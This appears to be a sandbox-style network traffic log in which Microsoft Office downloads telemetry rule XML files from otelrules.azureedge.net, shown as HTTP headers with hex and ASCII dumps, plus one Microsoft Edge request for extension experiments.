2024-11-16 12:01:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120130Z-16547b76f7fwggrphC1DFW2a8s00000001h000000000gb73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120130Z-16547b76f7f7zzl8hC1DFWmtag00000001rg00000000218w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120130Z-16547b76f7fsq6p7hC1DFWfx68000000013g00000000d4m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120130Z-16547b76f7f7scqbhC1DFW0m5w0000000pd00000000090vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-16547b76f7f9bs6dhC1DFWt3rg0000000pk0000000008emf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-1866b5c5fbbz7hb5hC1DFWru7c00000002ng000000008pug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-164f84587bf6h2bxhC1DFWbcm800000002v000000000dxh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-164f84587bfbvgrghC1DFWbs7w00000002mg00000000dezn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-16547b76f7fr28cchC1DFWnuws0000000pm000000000d4dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49779	94.245.104.56	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:32 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 16 Nov 2024 12:01:31 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120132Z-164f84587bfr8hdmhC1DFWt5nc00000000x000000000be0d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9bf0a44d-f01e-001f-4809-375dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120133Z-164f84587bfj5xwnhC1DFW3a28000000025g00000000bnc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
